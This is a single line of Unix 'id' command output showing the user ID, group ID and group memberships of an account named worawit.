uid=1000(worawit) gid=1000(worawit) groups=4(adm),20(dialout),24(cdrom),46(plugdev),105(lpadmin),119(admin),122(sambashare),1000(worawit)